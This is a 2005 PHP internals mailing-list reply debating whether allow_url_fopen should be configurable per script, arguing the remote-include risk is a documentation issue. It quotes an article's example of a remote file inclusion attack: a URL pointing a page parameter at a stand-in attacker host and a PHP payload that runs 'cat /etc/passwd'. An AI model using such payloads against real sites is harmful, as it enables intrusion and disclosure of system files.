Newsgroups: php.internals
Path: news.php.net
Xref: news.php.net php.internals:16985
Mailing-List: contact internals-help@lists.php.net; run by ezmlm
Message-ID: <42C22CFF.6080505@fission.org.uk>
Date: Wed, 29 Jun 2005 06:09:19 +0100
User-Agent: Debian Thunderbird 1.0.2 (X11/20050402)
MIME-Version: 1.0
To: internals@lists.php.net
References: <42BDDC82.6020208@ohgaki.net>	<17088.52397.92440.326561@desk.crynwr.com>	<42C0CF76.6090203@lerdorf.com>	<42C0F4DA.4000605@php.net>	<17089.18702.450236.614561@desk.crynwr.com>	<1119998580.13690.109.camel@localhost>	<17089.63833.772427.529013@desk.crynwr.com>	<42C1FF2A.4000006@fission.org.uk> <17090.9316.148303.68882@desk.crynwr.com>
In-Reply-To: <17090.9316.148303.68882@desk.crynwr.com>
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
Subject: Re: [PHP-DEV] allow_url_fopen should be INI_ALL
From: gareth@fission.org.uk (Gareth Ardron)

Russell Nelson wrote:

> > I think the documentation quite clearly states that /all/ functions that 
> > deal with files may deal with remote files if the fopen wrappers are 
> > enabled
>
>Why did both of my users miss that documentation?  The facts seem to
>be in opposition to your assertion that "the documentation quite
>clearly states".
>  
>
I don't really feel that 2 users are a good indication of users as a 
whole, here - however, it still seems more of a documentation issue than 
a broken function issue to me. To break BC seems overkill for a function 
which is so useful to many of us working on systems distributed over 
many different servers.

> > It's unfortunate, but there's a lot of muppets out there who think
> > they can code
>
>Now you're blaming the victim.
>
Yes, I am. Ok, maybe part of that blame should lie in the documentation, 
but really it's a silly bug to fall for.

To quote the page at the top of a google search for "php security flaw" 
(as you suggested searching for):

"This is a common mistake by newbies. When PHP is including a page it 
doesn't care if the page is locally or on a remote server. Someone could 
easily change the URL to 
*http://www.unsecuresite.com/index.php?page=http://www.cracker.com/crack.php*. 
Imagine crack.php is containing this text:
<?php passthru( "cat /etc/passwd" ); ?>"

Indeed, the rest of that google search seems to be pulling up articles 
on past php security flaws now delt with or articles on how to improve 
the security of your php scripts - I'm hard-pushed to find a large 
number of specific articles dealing with the 'flaw' you mention.

Regards,

-- 
Gareth Ardron